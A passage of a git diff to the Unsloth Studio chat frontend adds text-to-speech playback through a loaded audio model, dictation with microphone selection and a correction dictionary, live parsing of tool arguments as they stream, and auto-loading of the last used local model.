+    useVoiceSettingsStore.getState();
+  const utterance = new SpeechSynthesisUtterance(text);
+  const voice = findTtsVoice(ttsVoiceURI);
+  if (voice) {
+    utterance.voice = voice;
+    utterance.lang = voice.lang;
+  }
+  utterance.rate = ttsRate;
+  utterance.pitch = ttsPitch;
+  utterance.volume = ttsVolume;
+  return utterance;
+}
+
+/** Generate speech via the loaded TTS audio model; returns a WAV data URL. */
+export async function generateStudioTtsAudio(
+  text: string,
+  signal?: AbortSignal,
+): Promise<string> {
+  const response = await authFetch("/api/inference/audio/generate", {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+      messages: [{ role: "user", content: text }],
+      stream: false,
+    }),
+    signal,
+  });
+  if (!response.ok) {
+    const body = (await response.json().catch(() => null)) as {
+      detail?: string;
+    } | null;
+    const detail = body?.detail ?? `HTTP ${response.status}`;
+    if (/no model loaded|not an audio model/i.test(detail)) {
+      throw new Error(
+        "No TTS model is loaded. Load an audio model (e.g. Orpheus TTS) from the model selector, then try again.",
+      );
+    }
+    throw new Error(detail);
+  }
+  const data = (await response.json()) as { audio?: { data?: string } };
+  if (!data.audio?.data) {
+    throw new Error("The TTS model returned no audio.");
+  }
+  return `data:audio/wav;base64,${data.audio.data}`;
+}
+
+function speakWithStudioModel(
+  text: string,
+  handleEnd: (
+    reason: "finished" | "error" | "cancelled",
+    error?: unknown,
+  ) => void,
+  markRunning: () => void,
+): { cancel: () => void } {
+  const { ttsRate, ttsVolume } = useVoiceSettingsStore.getState();
+  const controller = new AbortController();
+  let audio: HTMLAudioElement | null = null;
+  let cancelled = false;
+
+  // Release the element and its multi-MB WAV data URL as soon as playback ends.
+  const cleanup = () => {
+    if (audio) {
+      audio.pause();
+      audio.removeAttribute("src");
+      audio = null;
+    }
+  };
+
+  void (async () => {
+    try {
+      const url = await generateStudioTtsAudio(text, controller.signal);
+      if (cancelled) return;
+      audio = new Audio(url);
+      audio.playbackRate = ttsRate;
+      audio.volume = ttsVolume;
+      // Some browsers reset playbackRate to 1 once the source loads; reapply
+      // it on loadedmetadata so the speed setting reliably takes effect.
+      audio.addEventListener("loadedmetadata", () => {
+        if (audio) audio.playbackRate = ttsRate;
+      });
+      audio.addEventListener("ended", () => {
+        cleanup();
+        handleEnd("finished");
+      });
+      audio.addEventListener("error", () => {
+        if (cancelled) return;
+        cleanup();
+        handleEnd("error", new Error("Audio playback failed."));
+      });
+      markRunning();
+      await audio.play();
+    } catch (error) {
+      if (cancelled || controller.signal.aborted) return;
+      cleanup();
+      handleEnd("error", error);
+    }
+  })();
+
+  return {
+    cancel: () => {
+      cancelled = true;
+      controller.abort();
+      cleanup();
+      handleEnd("cancelled");
+    },
+  };
+}
+
+/**
+ * Text-to-speech for assistant messages. Reads Voice settings at speak time.
+ * Engines: "system" (speechSynthesis) or "studio" (loaded TTS audio model).
+ */
+export class StudioSpeechSynthesisAdapter implements SpeechSynthesisAdapter {
+  /** Web Speech synthesis, used by the "system" engine. */
+  static systemVoicesSupported(): boolean {
+    return (
+      typeof window !== "undefined" &&
+      "speechSynthesis" in window &&
+      typeof window.SpeechSynthesisUtterance !== "undefined"
+    );
+  }
+
+  // The "studio" engine only needs fetch + Audio playback, so a WebView
+  // without Web Speech synthesis can still read aloud through the backend.
+  static isSupported(): boolean {
+    return (
+      StudioSpeechSynthesisAdapter.systemVoicesSupported() ||
+      (typeof window !== "undefined" && typeof window.Audio !== "undefined")
+    );
+  }
+
+  speak(text: string): SpeechSynthesisAdapter.Utterance {
+    const subscribers = new Set<() => void>();
+
+    const handleEnd = (
+      reason: "finished" | "error" | "cancelled",
+      error?: unknown,
+    ) => {
+      if (res.status.type === "ended") return;
+      // Surface genuine read-aloud failures; a cancelled/interrupted utterance
+      // is a normal stop, not an error, and must not toast.
+      if (reason === "error" && error !== "interrupted" && error !== "canceled") {
+        toast.error(error instanceof Error ? error.message : "Read aloud failed.");
+      }
+      res.status = { type: "ended", reason, error };
+      for (const handler of subscribers) handler();
+    };
+
+    let cancelImpl: () => void;
+    const { ttsEngine } = useVoiceSettingsStore.getState();
+
+    const res: SpeechSynthesisAdapter.Utterance = {
+      status: { type: "starting" },
+      cancel: () => cancelImpl(),
+      subscribe: (callback) => {
+        if (res.status.type === "ended") {
+          let cancelled = false;
+          queueMicrotask(() => {
+            if (!cancelled) callback();
+          });
+          return () => {
+            cancelled = true;
+          };
+        }
+        subscribers.add(callback);
+        return () => {
+          subscribers.delete(callback);
+        };
+      },
+    };
+
+    // Fall back to the backend model when the runtime lacks Web Speech
+    // synthesis (e.g. an audio-only WebView), so read-aloud still works.
+    if (
+      ttsEngine === "studio" ||
+      !StudioSpeechSynthesisAdapter.systemVoicesSupported()
+    ) {
+      const session = speakWithStudioModel(text, handleEnd, () => {
+        if (res.status.type === "ended") return;
+        // Notify subscribers of the async starting -> running transition;
+        // the adapter contract drives UI state off these subscribe callbacks.
+        res.status = { type: "running" };
+        for (const handler of subscribers) handler();
+      });
+      cancelImpl = session.cancel;
+      return res;
+    }
+
+    const utterance = createConfiguredUtterance(text);
+    utterance.addEventListener("end", () => handleEnd("finished"));
+    utterance.addEventListener("error", (e) => handleEnd("error", e.error));
+
+    // Chrome silently drops speak() while another utterance is queued from a
+    // cancelled run; clearing first keeps read-aloud deterministic.
+    window.speechSynthesis.cancel();
+    window.speechSynthesis.speak(utterance);
+    res.status = { type: "running" };
+
+    cancelImpl = () => {
+      window.speechSynthesis.cancel();
+      handleEnd("cancelled");
+    };
+    return res;
+  }
+}
diff --git a/studio/frontend/src/features/chat/adapters/studio-web-speech-dictation-adapter.ts b/studio/frontend/src/features/chat/adapters/studio-web-speech-dictation-adapter.ts
index 146a12bd40..b7a8e904ed 100644
--- a/studio/frontend/src/features/chat/adapters/studio-web-speech-dictation-adapter.ts
+++ b/studio/frontend/src/features/chat/adapters/studio-web-speech-dictation-adapter.ts
@@ -1,10 +1,18 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import {
+  applyDictationDictionary,
+  recordRecentDictation,
+  resolveDictationLanguage,
+  useVoiceSettingsStore,
+} from "@/features/settings/stores/voice-settings-store";
 import type { DictationAdapter } from "@assistant-ui/react";
 import { toast } from "sonner";
 
-const getSpeechRecognitionAPI = (): SpeechRecognitionConstructor | undefined => {
+const getSpeechRecognitionAPI = ():
+  | SpeechRecognitionConstructor
+  | undefined => {
   if (typeof window === "undefined") return undefined;
   return window.SpeechRecognition ?? window.webkitSpeechRecognition;
 };
@@ -13,23 +21,34 @@ const stopStream = (stream: MediaStream | null) => {
   stream?.getTracks().forEach((track) => track.stop());
 };
 
-const describeMediaError = (error: unknown): string => {
-  if (!(error instanceof DOMException)) {
-    return "Dictation could not access the microphone.";
-  }
-  if (error.name === "NotAllowedError") {
-    return "Microphone access is blocked. Allow microphone access for this Unsloth page, then try again.";
-  }
-  if (error.name === "NotFoundError") {
-    return "No microphone was found for dictation.";
-  }
-  if (error.name === "NotReadableError") {
-    return "The microphone is already in use or unavailable.";
-  }
-  return error.message || "Dictation could not access the microphone.";
+const mediaErrorName = (error: unknown): unknown =>
+  error && typeof error === "object" && "name" in error
+    ? (error as { name?: unknown }).name
+    : undefined;
+
+/** True for getUserMedia errors meaning the requested device is gone. */
+export const isMissingDeviceError = (error: unknown): boolean => {
+  const name = mediaErrorName(error);
+  return name === "OverconstrainedError" || name === "NotFoundError";
 };
 
-const describeSpeechError = (error: string, message?: string): string => {
+export const describeMediaError = (error: unknown): string => {
+  const name = mediaErrorName(error);
+  if (name === "NotAllowedError" || name === "SecurityError") {
+    return "Microphone access is blocked. Allow microphone access for this Unsloth page, then try again.";
+  }
+  if (name === "NotFoundError" || name === "OverconstrainedError") {
+    return "No microphone was found for dictation.";
+  }
+  if (name === "NotReadableError" || name === "AbortError") {
+    return "The microphone is already in use or unavailable.";
+  }
+  return error instanceof Error && error.message
+    ? error.message
+    : "Dictation could not access the microphone.";
+};
+
+export const describeSpeechError = (error: string, message?: string): string => {
   if (error === "not-allowed") {
     return "Speech recognition was blocked by the browser. Check microphone permissions for this Unsloth page.";
   }
@@ -46,7 +65,7 @@ const describeSpeechError = (error: string, message?: string): string => {
 };
 
 export class StudioWebSpeechDictationAdapter implements DictationAdapter {
-  private readonly language: string;
+  private readonly language: string | undefined;
   private readonly continuous: boolean;
   private readonly interimResults: boolean;
 
@@ -57,7 +76,8 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
       interimResults?: boolean;
     } = {},
   ) {
-    this.language = options.language ?? navigator.language ?? "en-US";
+    // Resolved from Voice settings at listen() time unless overridden.
+    this.language = options.language;
     this.continuous = options.continuous ?? true;
     this.interimResults = options.interimResults ?? true;
   }
@@ -78,13 +98,17 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
     }
 
     const recognition = new SpeechRecognitionAPI();
-    recognition.lang = this.language;
+    recognition.lang = this.language ?? resolveDictationLanguage();
     recognition.continuous = this.continuous;
     recognition.interimResults = this.interimResults;
 
     const speechStartCallbacks = new Set<() => void>();
-    const speechEndCallbacks = new Set<(result: DictationAdapter.Result) => void>();
-    const speechCallbacks = new Set<(result: DictationAdapter.Result) => void>();
+    const speechEndCallbacks = new Set<
+      (result: DictationAdapter.Result) => void
+    >();
+    const speechCallbacks = new Set<
+      (result: DictationAdapter.Result) => void
+    >();
 
     let stream: MediaStream | null = null;
     let finalTranscript = "";
@@ -147,6 +171,9 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
         for (const callback of speechEndCallbacks) {
           callback({ transcript: finalTranscript });
         }
+        if (reason !== "cancelled") {
+          recordRecentDictation(finalTranscript);
+        }
         finalTranscript = "";
       }
       resolveEnded?.();
@@ -162,14 +189,26 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
 
     recognition.addEventListener("result", (event) => {
       const speechEvent = event as SpeechRecognitionEvent;
-      for (let i = speechEvent.resultIndex; i < speechEvent.results.length; i++) {
+      for (
+        let i = speechEvent.resultIndex;
+        i < speechEvent.results.length;
+        i++
+      ) {
         const result = speechEvent.results[i];
         if (!result) continue;
         const transcript = result[0]?.transcript ?? "";
         if (result.isFinal) {
-          finalTranscript += transcript;
+          const corrected = applyDictationDictionary(transcript);
+          // Join final chunks with a single space so recorded transcripts do
+          // not merge words when a browser omits leading whitespace.
+          const trimmed = corrected.trim();
+          if (trimmed) {
+            finalTranscript = finalTranscript
+              ? `${finalTranscript} ${trimmed}`
+              : trimmed;
+          }
           for (const callback of speechCallbacks) {
-            callback({ transcript, isFinal: true });
+            callback({ transcript: corrected, isFinal: true });
           }
         } else {
           for (const callback of speechCallbacks) {
@@ -189,7 +228,10 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
         finish("cancelled");
         return;
       }
-      const description = describeSpeechError(errorEvent.error, errorEvent.message);
+      const description = describeSpeechError(
+        errorEvent.error,
+        errorEvent.message,
+      );
       console.error("Dictation error:", errorEvent.error, errorEvent.message);
       toast.error(description);
       finish("error");
@@ -197,9 +239,30 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
 
     void (async () => {
       try {
-        stream = await navigator.mediaDevices.getUserMedia({
-          audio: { echoCancellation: true, noiseSuppression: true },
-        });
+        const { micDeviceId } = useVoiceSettingsStore.getState();
+        const baseAudio: MediaTrackConstraints = {
+          echoCancellation: true,
+          noiseSuppression: true,
+        };
+        try {
+          stream = await navigator.mediaDevices.getUserMedia({
+            audio:
+              micDeviceId && micDeviceId !== "default"
+                ? { ...baseAudio, deviceId: { exact: micDeviceId } }
+                : baseAudio,
+          });
+        } catch (error) {
+          // Saved mic may be unplugged; fall back to the default device.
+          // Firefox and WebKit throw OverconstrainedError objects that are
+          // not DOMException instances, so match on the error name.
+          if (micDeviceId !== "default" && isMissingDeviceError(error)) {
+            stream = await navigator.mediaDevices.getUserMedia({
+              audio: baseAudio,
+            });
+          } else {
+            throw error;
+          }
+        }
         if (ended) {
           stopStream(stream);
           stream = null;
@@ -207,13 +270,23 @@ export class StudioWebSpeechDictationAdapter implements DictationAdapter {
         }
         const audioTrack = stream.getAudioTracks()[0];
         if (!audioTrack || audioTrack.readyState !== "live") {
-          throw new DOMException("No live microphone track is available.", "NotFoundError");
+          throw new DOMException(
+            "No live microphone track is available.",
+            "NotFoundError",
+          );
         }
         try {
           recognition.start(audioTrack);
         } catch (error) {
-          // Older engines expose only start(); retry without the experimental track overload.
-          console.debug("Dictation start(audioTrack) failed; retrying start().", error);
+          // Older engines expose only start(); retry without the experimental
+          // track overload. Recognition then captures from the default device,
+          // so release the selected-device stream instead of holding it open.
+          console.debug(
+            "Dictation start(audioTrack) failed; retrying start().",
+            error,
+          );
+          stopStream(stream);
+          stream = null;
           recognition.start();
         }
         started = true;
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 929c0385b0..0bf46e7343 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -2,12 +2,17 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { getAuthToken } from "@/features/auth";
+import {
+  loadRememberedLoadSettings,
+  rememberedLoadSettingsKey,
+} from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import { projectHasSources } from "@/features/rag/api/rag-api";
 import { apiUrl } from "@/lib/api-base";
 import { parseParamCountB } from "@/lib/model-size";
 import { toast } from "@/lib/toast";
 import type { MessageTiming, ToolCallMessagePart } from "@assistant-ui/core";
 import type { ChatModelAdapter } from "@assistant-ui/react";
+import { parsePartialJsonObject } from "assistant-stream/utils";
 import {
   getExternalProviderApiKey,
   isCustomProviderType,
@@ -47,6 +52,11 @@ import {
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
 import { useExternalProvidersStore } from "../stores/external-providers-store";
+import {
+  shouldPreserveFullOutput,
+  toolOutputKey,
+  toolPaneScope,
+} from "../tool-output-scope";
 import type { ModelType } from "../types";
 import { isMultimodalResponse } from "../types/api";
 import type {
@@ -63,11 +73,17 @@ import {
   listStoredChatThreads,
   updateStoredChatThread,
 } from "../utils/chat-history-storage";
+import {
+  readLastLocalModelLoad,
+  recordLastLocalModelLoad,
+  type LastLocalModelKind,
+} from "../utils/last-local-model-load";
 import { getImageInputUnavailableReason } from "../utils/image-input-support";
 import {
   hasClosedThinkTag,
   parseAssistantContent,
 } from "../utils/parse-assistant-content";
+import { resolveLoadMaxSeqLength } from "../presets/preset-policy";
 import {
   generateAudio,
   listCachedGguf,
@@ -75,6 +91,7 @@ import {
   listGgufVariants,
   loadModel,
   streamChatCompletions,
+  StreamInterruptedError,
   validateModel,
 } from "./chat-api";
 import {
@@ -140,6 +157,33 @@ interface ServerTimings {
   diffusion_steps_per_second?: number;
 }
 
+interface ResponseDetailsMetadata {
+  modelId: string;
+  modelLabel: string;
+  responseModelId: string;
+  providerId?: string;
+  providerName: string;
+  providerType: string;
+  startedAt: number;
+  finishedAt: number;
+  durationMs: number;
+  sessionId?: string;
+  cancelId: string;
+  toolCalls: string[];
+  tools: {
+    search: boolean;
+    fetch: boolean;
+    code: boolean;
+    images: boolean;
+    mcp: boolean;
+    docs: boolean;
+    artifacts: boolean;
+    confirmToolCalls: boolean;
+    bypassPermissions: boolean;
+    permissionMode?: string;
+  };
+}
+
 type RunMessages = Parameters<ChatModelAdapter["run"]>[0]["messages"];
 type RunMessage = RunMessages[number];
 
@@ -191,6 +235,49 @@ function wait(ms: number): Promise<void> {
   return new Promise((resolve) => setTimeout(resolve, ms));
 }
 
+/**
+ * Best-effort partial parse of a live tool_args stream into a tool part's
+ * `args`, so cards render the payload while the model is still writing it. The
+ * structured path streams raw arguments JSON; the text path wraps it in call
+ * markup, unwrapped here. Returns null until something parses; never throws.
+ */
+function parseLiveToolArgs(
+  raw: string,
+): { args: Record<string, unknown>; argsText: string } | null {
+  let candidate = raw.trimStart();
+  if (!candidate.startsWith("{")) {
+    const brace = candidate.indexOf("{");
+    if (brace < 0) return null;
+    candidate = candidate.slice(brace);
+  }
+  const parsed = parsePartialJsonObject(candidate) as
+    | Record<string, unknown>
+    | undefined;
+  if (!parsed || typeof parsed !== "object") return null;
+  // Call envelope from the text path: unwrap to the arguments payload.
+  const inner = parsed.arguments ?? parsed.parameters;
+  if (typeof parsed.name === "string" && inner !== undefined) {
+    if (typeof inner === "string") {
+      // Stringified arguments: partial-parse the inner JSON string.
+      const innerParsed = parsePartialJsonObject(inner) as
+        | Record<string, unknown>
+        | undefined;
+      if (innerParsed && typeof innerParsed === "object") {
+        return { args: innerParsed, argsText: inner };
+      }
+      return null;
+    }
+    if (inner && typeof inner === "object" && !Array.isArray(inner)) {
+      return {
+        args: inner as Record<string, unknown>,
+        argsText: JSON.stringify(inner),
+      };
+    }
+    return null;
+  }
+  return { args: parsed, argsText: candidate };
+}
+
 function parseSystemVariablesMap(raw: string): Record<string, unknown> {
   if (!raw.trim()) {
     return {};
@@ -865,6 +952,33 @@ function serializeAssistantToolCallPart(
   return entry;
 }
 
+export interface McpImageToolResult {
+  text: string;
+  images: { data: string; mimeType: string }[];
+}
+
+export function isMcpImageToolResult(
+  val: unknown,
+): val is McpImageToolResult {
+  if (typeof val !== "object" || val === null) {
+    return false;
+  }
+  const v = val as { text?: unknown; images?: unknown; sessionId?: unknown };
+  return (
+    typeof v.text === "string" &&
+    v.sessionId === undefined &&
+    Array.isArray(v.images) &&
+    v.images.length > 0 &&
+    v.images.every(
+      (img: unknown) =>
+        typeof img === "object" &&
+        img !== null &&
+        typeof (img as { data?: unknown }).data === "string" &&
+        typeof (img as { mimeType?: unknown }).mimeType === "string",
+    )
+  );
+}
+
 function serializeToolResultPart(
   part: ToolCallMessagePart,
 ): SerializedToolResult | null {
@@ -884,6 +998,8 @@ function serializeToolResultPart(
     // content; serialise a sentinel JSON so legitimately empty tool
     // outputs still round-trip the follow-up turn to the provider.
     content = result.length > 0 ? result : JSON.stringify({ result: "" });
+  } else if (isMcpImageToolResult(result)) {
+    content = result.text.length > 0 ? result.text : JSON.stringify({ result: "" });
   } else {
     try {
       content = JSON.stringify(result);
@@ -1283,6 +1399,30 @@ const BIG_ENDIAN_GGUF_FILENAME_RE = /(^|[-_])be(?:[._-]|$)/gi;
 const GGUF_KNOWN_QUANT_RE =
   /(UD-)?(MXFP[0-9]+(?:_[A-Z0-9]+)*|IQ[0-9]+_[A-Z]+(?:_[A-Z0-9]+)?|TQ[0-9]+_[0-9]+|Q[0-9]+_K_[A-Z]+|Q[0-9]+_[0-9]+|Q[0-9]+_K|BF16|F16|F32)/i;
 
+type AutoLoadCandidate = {
+  id: string;
+  kind: LastLocalModelKind;
+  ggufVariant: string | null;
+  maxSeqLength: number;
+  successLabel: string;
+};
+
+function autoLoadCandidateKey(
+  kind: LastLocalModelKind,
+  id: string,
+  ggufVariant?: string | null,
+): string {
+  return `${kind}:${id.toLowerCase()}:${(ggufVariant ?? "").toLowerCase()}`;
+}
+
+function findCachedRepo<T extends { repo_id: string }>(
+  repos: T[],
+  id: string,
+): T | undefined {
+  const normalized = id.toLowerCase();
+  return repos.find((repo) => repo.repo_id.toLowerCase() === normalized);
+}
+
 function hasBigEndianGgufMarker(filename: string, quant?: string | null): boolean {
   const normalized = filename.replace(/\\/g, "/").toLowerCase();
   const separatorIndex = normalized.lastIndexOf("/");
@@ -1331,14 +1471,18 @@ async function autoLoadSmallestModel(): Promise<{
   const hfToken = store.hfToken || null;
   const trustRemoteCode = store.params.trustRemoteCode ?? false;
   const specSettings = resolveSpeculativeSettingsForLoad();
+  const lastLoaded = readLastLocalModelLoad();
   const toastId = toast("Loading a model…", {
-    description: "Auto-selecting the smallest downloaded model.",
+    description: lastLoaded
+      ? "Loading last used model."
+      : "Auto-selecting the smallest downloaded model.",
     duration: 5000,
     closeButton: true,
   });
   let blockedByTrustRemoteCode = false;
   let hadNonTrustFailure = false;
   let loadAttempts = 0;
+  const skippedAutoLoadCandidates = new Set<string>();
 
   async function canAutoLoad(payload: {
     model_path: string;
@@ -1361,6 +1505,150 @@ async function autoLoadSmallestModel(): Promise<{
       blockedByTrustRemoteCode = true;
       return false;
     }
+    // Never install packages from a background load; explicit loads raise the upgrade dialog.
+    if (validation.requires_transformers_upgrade) {
+      hadNonTrustFailure = true;
+      return false;
+    }
+    return true;
+  }
+
+  async function loadAutoLoadCandidate(
+    candidate: AutoLoadCandidate,
+  ): Promise<boolean> {
+    if (loadAttempts >= MAX_AUTO_LOAD_ATTEMPTS) {
+      return false;
+    }
+    const currentStore = useChatRuntimeStore.getState();
+    const remembered = loadRememberedLoadSettings(
+      rememberedLoadSettingsKey({
+        id: candidate.id,
+        ggufVariant: candidate.ggufVariant,
+      }),
+    );
+    const effectiveMaxSeqLength = resolveLoadMaxSeqLength({
+      modelId: candidate.id,
+      ggufVariant: candidate.ggufVariant,
+      isGguf: candidate.kind === "gguf",
+      customContextLength: remembered?.contextLength ?? null,
+      ggufContextLength: null,
+      currentCheckpoint: currentStore.params.checkpoint,
+      activeGgufVariant: currentStore.activeGgufVariant,
+      maxSeqLength: candidate.maxSeqLength,
+      presetSource: currentStore.activePresetSource,
+    });
+    const effectiveSpeculativeType =
+      remembered?.speculativeType ?? specSettings.speculativeType;
+    const effectiveSpecDraftNMax =
+      remembered?.specDraftNMax ?? specSettings.specDraftNMax;
+    if (
+      !(await canAutoLoad({
+        model_path: candidate.id,
+        max_seq_length: effectiveMaxSeqLength,
+        is_lora: false,
+        gguf_variant: candidate.ggufVariant,
+      }))
+    ) {
+      skippedAutoLoadCandidates.add(
+        autoLoadCandidateKey(candidate.kind, candidate.id, candidate.ggufVariant),
+      );
+      return false;
+    }
+    loadAttempts += 1;
+    const loadResp = await loadModel({
+      model_path: candidate.id,
+      hf_token: hfToken,
+      max_seq_length: effectiveMaxSeqLength,
+      load_in_4bit: true,
+      is_lora: false,
+      gguf_variant: candidate.ggufVariant,
+      trust_remote_code: trustRemoteCode,
+      cache_type_kv: remembered?.kvCacheDtype ?? null,
+      speculative_type: effectiveSpeculativeType,
+      spec_draft_n_max: effectiveSpecDraftNMax,
+      tensor_parallel: remembered?.tensorParallel ?? false,
+    });
+    saveSpeculativeType(effectiveSpeculativeType);
+    useChatRuntimeStore
+      .getState()
+      .setCheckpoint(candidate.id, candidate.ggufVariant ?? undefined);
+    const store = useChatRuntimeStore.getState();
+    store.setModelRequiresTrustRemoteCode(
+      loadResp.requires_trust_remote_code ?? false,
+    );
+    store.setParams({
+      ...store.params,
+      maxTokens:
+        candidate.kind === "gguf"
+          ? loadResp.context_length ?? 131072
+          : effectiveMaxSeqLength,
+    });
+    const autoModel: ChatModelSummary = {
+      id: candidate.id,
+      name: loadResp.display_name ?? candidate.id,
+      isVision: loadResp.is_vision ?? false,
+      isLora: loadResp.is_lora ?? false,
+      isGguf: loadResp.is_gguf ?? candidate.kind === "gguf",
+      isAudio: loadResp.is_audio ?? false,
+      audioType: loadResp.audio_type ?? null,
+      hasAudioInput: loadResp.has_audio_input ?? false,
+    };
+    if (!store.models.some((m) => m.id === candidate.id)) {
+      store.setModels([...store.models, autoModel]);
+    }
+    if (candidate.kind === "gguf") {
+      useChatRuntimeStore.setState({
+        ggufContextLength: loadResp.context_length ?? 131072,
+        ggufMaxContextLength:
+          loadResp.max_context_length ?? loadResp.context_length ?? 131072,
+        ggufNativeContextLength: loadResp.native_context_length ?? null,
+        supportsReasoning: loadResp.supports_reasoning ?? false,
+        reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
+        reasoningEnabled: loadResp.supports_reasoning ?? false,
+        ...reasoningCapsFromLoad(loadResp),
+        supportsPreserveThinking: loadResp.supports_preserve_thinking ?? false,
+        supportsTools: loadResp.supports_tools ?? false,
+        ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
+        kvCacheDtype: loadResp.cache_type_kv ?? null,
+        loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
+        tensorParallel: loadResp.tensor_parallel ?? false,
+        loadedTensorParallel: loadResp.tensor_parallel ?? false,
+        defaultChatTemplate: loadResp.chat_template ?? null,
+        chatTemplateOverride: null,
+        loadedChatTemplateOverride: null,
+        loadedIsMultimodal: isMultimodalResponse(loadResp),
+        loadedIsDiffusion: loadResp.is_diffusion ?? false,
+        ...resolveLoadedSpeculativeSettings(loadResp),
+      });
+    } else {
+      useChatRuntimeStore.setState({
+        supportsReasoning: loadResp.supports_reasoning ?? false,
+        reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
+        reasoningEnabled: loadResp.supports_reasoning ?? false,
+        ...reasoningCapsFromLoad(loadResp),
+        supportsPreserveThinking: loadResp.supports_preserve_thinking ?? false,
+        supportsTools: loadResp.supports_tools ?? false,
+        ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
+        kvCacheDtype: loadResp.cache_type_kv ?? null,
+        loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
+        tensorParallel: loadResp.tensor_parallel ?? false,
+        loadedTensorParallel: loadResp.tensor_parallel ?? false,
+        defaultChatTemplate: loadResp.chat_template ?? null,
+        chatTemplateOverride: null,
+        loadedChatTemplateOverride: null,
+        ...resolveLoadedSpeculativeSettings(loadResp),
+        loadedIsMultimodal: isMultimodalResponse(loadResp),
+        loadedIsDiffusion: loadResp.is_diffusion ?? false,
+      });
+    }
+    if (!(loadResp.is_lora ?? false)) {
+      recordLastLocalModelLoad({
+        id: candidate.id,
+        kind: candidate.kind,
+        ggufVariant: candidate.ggufVariant,
+      });
+    }
+    toast.success(candidate.successLabel, { id: toastId });
     return true;
   }
   try {
@@ -1369,6 +1657,79 @@ async function autoLoadSmallestModel(): Promise<{
       listCachedModels().catch(() => []),
     ]);
 
+    if (lastLoaded) {
+      if (lastLoaded.kind === "gguf") {
+        const repo = findCachedRepo(ggufRepos, lastLoaded.id);
+        if (repo && lastLoaded.ggufVariant) {
+          try {
+            const variants = await listGgufVariants(repo.repo_id);
+            const variant = variants.variants.find(
+              (entry) =>
+                entry.downloaded &&
+                entry.quant?.toLowerCase() ===
+                  lastLoaded.ggufVariant?.toLowerCase() &&
+                isAutoLoadableGgufVariant(entry),
+            );
+            if (variant) {
+              toast("Loading last used model…", {
+                id: toastId,
+                description: `${repo.repo_id} (${variant.quant})`,
+                duration: 5000,
+              });
+              if (
+                await loadAutoLoadCandidate({
+                  id: repo.repo_id,
+                  kind: "gguf",
+                  ggufVariant: variant.quant,
+                  maxSeqLength: 0,
+                  successLabel: `Loaded ${repo.repo_id} (${variant.quant})`,
+                })
+              ) {
+                return { loaded: true, blockedByTrustRemoteCode: false };
+              }
+            }
+          } catch {
+            hadNonTrustFailure = true;
+            skippedAutoLoadCandidates.add(
+              autoLoadCandidateKey("gguf", repo.repo_id, lastLoaded.ggufVariant),
+            );
+          }
+        }
+      } else {
+        const repo = findCachedRepo(modelRepos, lastLoaded.id);
+        if (repo) {
+          try {
+            toast("Loading last used model…", {
+              id: toastId,
+              description: repo.repo_id,
+              duration: 5000,
+            });
+            if (
+              await loadAutoLoadCandidate({
+                id: repo.repo_id,
+                kind: "model",
+                ggufVariant: null,
+                maxSeqLength: store.params.maxSeqLength,
+                successLabel: `Loaded ${repo.repo_id}`,
+              })
+            ) {
+              return { loaded: true, blockedByTrustRemoteCode: false };
+            }
+          } catch {
+            hadNonTrustFailure = true;
+            skippedAutoLoadCandidates.add(
+              autoLoadCandidateKey("model", repo.repo_id),
+            );
+          }
+        }
+      }
+      toast("Loading a model…", {
+        id: toastId,
+        description: "Auto-selecting the smallest downloaded model.",
+        duration: 5000,
+      });
+    }
+
     // GGUF first: smallest-total-size repo, then its smallest variant.
     if (ggufRepos.length > 0) {
       const sorted = [...ggufRepos].sort((a, b) => a.size_bytes - b.size_bytes);
@@ -1382,82 +1743,23 @@ async function autoLoadSmallestModel(): Promise<{
           if (downloaded.length > 0) {
             const variant = downloaded[0];
             if (
-              !(await canAutoLoad({
-                model_path: repo.repo_id,
-                max_seq_length: 0,
-                is_lora: false,
-                gguf_variant: variant.quant,
-              }))
+              skippedAutoLoadCandidates.has(
+                autoLoadCandidateKey("gguf", repo.repo_id, variant.quant),
+              )
             ) {
               continue;
             }
-            loadAttempts += 1;
-            const loadResp = await loadModel({
-              model_path: repo.repo_id,
-              hf_token: hfToken,
-              max_seq_length: 0,
-              load_in_4bit: true,
-              is_lora: false,
-              gguf_variant: variant.quant,
-              trust_remote_code: trustRemoteCode,
-              speculative_type: specSettings.speculativeType,
-              spec_draft_n_max: specSettings.specDraftNMax,
-            });
-            saveSpeculativeType(specSettings.speculativeType);
-            useChatRuntimeStore
-              .getState()
-              .setCheckpoint(repo.repo_id, variant.quant);
-            const store = useChatRuntimeStore.getState();
-            store.setModelRequiresTrustRemoteCode(
-              loadResp.requires_trust_remote_code ?? false,
-            );
-            store.setParams({
-              ...store.params,
-              maxTokens: loadResp.context_length ?? 131072,
-            });
-            // Add to store so the selector shows the name.
-            const autoModel: ChatModelSummary = {
-              id: repo.repo_id,
-              name: loadResp.display_name ?? repo.repo_id,
-              isVision: loadResp.is_vision ?? false,
-              isLora: loadResp.is_lora ?? false,
-              isGguf: loadResp.is_gguf ?? false,
-              isAudio: loadResp.is_audio ?? false,
-              audioType: loadResp.audio_type ?? null,
-              hasAudioInput: loadResp.has_audio_input ?? false,
-            };
-            const existingModels = store.models;
-            if (!existingModels.some((m) => m.id === repo.repo_id)) {
-              store.setModels([...existingModels, autoModel]);
+            if (
+              await loadAutoLoadCandidate({
+                id: repo.repo_id,
+                kind: "gguf",
+                ggufVariant: variant.quant,
